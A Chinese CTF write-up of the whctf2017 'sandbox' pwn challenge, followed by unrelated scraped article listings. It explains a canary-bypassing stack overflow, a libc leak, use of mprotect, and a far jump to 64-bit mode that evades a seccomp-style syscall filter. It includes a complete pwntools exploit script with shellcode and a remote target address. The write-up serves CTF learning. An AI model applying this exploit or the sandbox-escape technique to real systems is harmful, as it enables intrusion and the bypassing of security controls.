pwn学习之三
whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目。
用ida打开vuln:
进入80485CB函数:
这里s给的空间是48但是输入是直到换行停止,这里就存在了栈溢出。但是这道题目开了CANARY,所以不能直接覆盖到返回地址。注意到这题,s的空间下面就是v5,而v5是控制写到s的位置,所以可以通过覆盖v5到返回地址而绕过修改那段Cookie,在不开sandbox的情况下拿shell的办法为:
1.覆盖返回地址为puts函数的plt表地址,由于这样跳转少了一个call函数也就是没有push返回地址,所以对于puts函数执行完的返回地址就是进入这个函数时的esp地址的下一个地址,然后再下一个地址就是puts函数的参数,第一次提交'a'*0x30+p8(0x48)+p32(puts_plt)+p32(main_addr)+p32(puts_got)这样就会在执行到函数retn时去执行puts(puts_got)然后再返回到main函数中去。
2.拿到了puts函数的实际地址再通过libc文件去拿到system函数的实际地址,再到第二次输入把/bin/sh写到内存中去,也就是调用read函数,提交'a'*0x30+p8(0x48)+p32(read_plt)+p32(main_addr)+p32(0)+p32(0x0804a02c),这样在执行完函数时会返回到read函数,接着输入'/bin/sh'就将字符串写到了0x0804a02c里。
3.最后调用system函数,参数为0x0804a02c即可拿到shell。
sandbox程序通过系统调用号限制了一些函数的使用,如execve、open、clone、vfork、create、opennat等,同时还会不停杀死新的进程。要绕过沙盒要知道两点,一是32位的系统调用号和64位的系统调用号不同,二是可以在32位进程中使用64位的系统调用要用到CS寄存器。
在CPU处于保护模式下运行时,CS其实是段选择器,通过CS的值去找描述符表内对应的代码段基址。这里参考资料:https://www.malwaretech.com/2014/02/the-0x33-segment-selector-heavens-gate.html
所以我们要做的就是把CS寄存器从0x23变成0x33,这个需要通过远跳转来实现,即jmp 0x33:addr。知道了如何跳到64位还要知道32位和64位系统调用时的情况,在32位系统中,是通过int $0x80进入系统调用,eax为系统调用号,参数依次放在ebx,ecx,edx中,而在64位系统中,是通过syscall进入系统调用,rax为系统调用号,参数依次放在rdi,rsi,rdx中。
那么这道题的解题过程为:
1,2两步同上(2中将写入/bin/sh改为写入./flag)。
3.通过puts函数实际地址和libc拿到mprotect函数的实际地址,通过mprotect函数去申请一个内存页为可读可写可执行,提交p32(mprotect_addr)+p32(main_addr)+p32(0x0804a000)+p32(0x1000)+p32(7),这样将0x0804a000变为了可执行的内存段。
4.通过read函数向0x0804a000中写入代码同时设置返回值为0x0804a000,这样read函数运行完后即可到0x0804a000去执行写入的代码(这里由于sandbox会不断的杀死新的进程,所以并没有使用execve函数而是使用了open,read,write函数将flag文件读取到终端上显示)。
exp:
from pwn import *
context(arch='i386',os='linux',endian='little')
context.log_level='debug' def game_start(p,libc):
puts_plt=0x08048470
puts_got=0x0804A018
main_addr=0x0804865B
read_plt=0x08048440
payload='a'*48+p8(0x48)+p32(puts_plt)+p32(main_addr)+p32(puts_got)
p.sendline(payload)
print p.recvline()
re = p.recv()
puts_addr = u32(re[:4])
print hex(puts_addr)
data_addr = 0x0804A02C
payload='a'*48+p8(0x48)
system_addr = puts_addr-libc.symbols['puts']+libc.symbols['system']
mprotect_addr = puts_addr-libc.symbols['puts']+libc.symbols['mprotect']
print hex(system_addr)
payload+=p32(read_plt)+p32(main_addr)+p32(0)+p32(data_addr)+p32(0x40)
p.sendline(payload)
print 'before:'+p.recvline() p.send('./flag')
payload='a'*48+p8(0x48)
payload+=p32(mprotect_addr)+p32(main_addr)+p32(0x0804a000)+p32(0x1000)+p32(7)
p.sendline(payload)
print 'third puts s:'+p.recvline()
payload='a'*48+p8(0x48)
payload+=p32(read_plt)+p32(0x0804ab00)+p32(0)+p32(0x0804ab00)+p32(0x200)
p.sendline(payload)
print 'fourth puts s:'+p.recvline()
payload=asm('jmp 0x33:0x0804ab20',arch='i386').ljust(0x20,'\x90')
shellcode64 = '''
BITS 64
org 0x0804ab20
mov rdi, 0x0804a02c
xor rsi, rsi
mov rax, 2
syscall
mov rdi, rax
mov rax, 0
mov rsi, 0x0804a900
mov rdx, 0x100
syscall
mov rdx, rax
mov rdi, 1
mov rsi, 0x0804a900
mov rax, 1
syscall
mov rdi, 0
mov rax, 60
syscall
'''
f = open('shell64.asm', 'wb')
f.write(shellcode64.strip())
f.close()
os.popen('nasm -f bin -o shell64 shell64.asm')
f = open('./shell64', 'rb')
d2 = f.read()
f.close()
payload+=d2
p.sendline(payload)
p.interactive() if __name__=='__main__':
debug=1
if debug==1:
p=process('./vuln')
#p=process(['./sandbox','./vuln'])
libc=ELF('./libc-32.so')
else:
p=remote('118.31.18.145',20004)
libc=ELF('./libc.so.6') #gdb.attach(p,'b *0x0804863F') game_start(p,libc)
sandbox题目下载地址:http://files.cnblogs.com/files/lllkh/68025091-fb40-4281-83ea-230331c1448a.gz
pwn学习之三的更多相关文章
- AspectJ基础学习之三HelloWorld(转载)
AspectJ基础学习之三HelloWorld(转载) 一.创建项目 我们将project命名为:aspectjDemo.然后我们新建2个package:com.aspectj.demo.aspect ...
- Linux学习之三-Linux系统的一些重要配置文件
Linux学习之三-Linux系统的一些重要配置文件 1.网卡配置文件 /etc/sysconfig/network-scripts/ifcfg-eth0 说明: DEVICE=eth0 ...
- C++11并发学习之三:线程同步(转载)
C++11并发学习之三:线程同步 1.<mutex> 头文件介绍 Mutex又称互斥量,C++ 11中与 Mutex 相关的类(包括锁类型)和函数都声明在 <mutex> 头文 ...
- jackson学习之三:常用API操作
欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...
- PWN学习之格式化字符串漏洞
目录 PWN学习之格式化字符串漏洞 格式化输出函数 格式化字符串漏洞 漏洞利用 使程序崩溃 栈数据泄露 任意地址内存泄漏 栈数据覆盖 任意地址内存覆盖 PWN学习之格式化字符串漏洞 格式化输出函数 可 ...
- PWN学习之整数溢出
目录 PWN学习之整数溢出 整数溢出 溢出和回绕 漏洞多发函数 整数溢出例子 PWN学习之整数溢出 整数溢出 如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险.通常情况下, ...
- PWN学习之栈溢出
目录 PWN学习之栈溢出 前言 写bug bug.cpp源码 OD动态调试bug.exe OD调试观察溢出 栈溢出攻击之突破密码验证 x64位栈溢出 PWN学习之栈溢出 前言 我记得我在最开始学编程的 ...
- [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇
目录 [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇 格式化输出函数 printf函数族功能介绍 printf参数 type(类型) flags(标志) number(宽度) precisi ...
- pwn学习(1)
0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...
随机推荐
- CodeForces - 314C Sereja and Subsequences (树状数组+dp)
Sereja has a sequence that consists of n positive integers, a1, a2, ..., an. First Sereja took a pie ...
- Windows7系统基础操作
Windows7系统基础操作 操作系统是人机交互的时候桥梁,一种计算机软件,软件分为:系统软件+应用软件 区别是:系统软件是可以直接安装在硬件上的计算机由硬件和软件两部分组成 操作电脑核心是操作电脑的 ...
- html css笔记zht
第3章 Img标签 路径问题 绝对路径:从盘符(C:\)出发的路径 (C:\Users\......) linux(绝对路径以 / 开头) 相对路径:( ./ 当前文件所在的目录)( ../上一级目录 ...
- ModBus-RTU详解
Modbus 一个工业上常用的通讯协议.一种通讯约定.Modbus协议包括RTU.ASCII.TCP.其中MODBUS-RTU最常用,比较简单,在单片机上很容易实现.虽然RTU比较简单,但是看协议 ...
- c++对象的存储空间
1. 非静态成员 2. 静态成员变量 静态成员变量不占对象的内存空间 3. 成员函数 成员函数不占内存空间 4. 析构函数 5. 类中有虚析构函数 6. 继承空类和多重继承空类存储空间的计算 7. t ...
- python 高级部分
伴随视频可以观看 因为Python的线程虽然是真正的线程,但解释器执行代码时,有一个GIL锁:Global Interpreter Lock,任何Python线程执行前,必须先获得GIL锁,然后,每执 ...
- 081、Weave Scope 多主机监控(2019-04-29 周一)
参考https://www.cnblogs.com/CloudMan6/p/7674011.html Weave Scope 除了监控容器,还可以监控Docker Host. 点击顶部 HOS ...
- MYCP作业
本次作业主要复习了输入流输出流的内容 作业要求: 编写MyCP.java 实现类似Linux下cp XXX1 XXX2的功能,要求MyCP支持两个参数: java MyCP -tx XXX1.txt ...
- 五十七、linux 编程——UDP 编程 域名解析
57.1 介绍 57.1.1 域名解析 57.1.2 域名解析函数 gethostent 可以获取多组,gethostbyname 只可以获取一组 /etc/hosts 文件设置了域名和 IP 的绑定 ...
- ASP.NET Web API 2 OData v4教程
程序数据库格式标准化的开源数据协议 为了增强各种网页应用程序之间的数据兼容性,微软公司启动了一项旨在推广网页程序数据库格式标准化的开源数据协议(OData)计划,于此同时,他们还发 布了一款适用于OD ...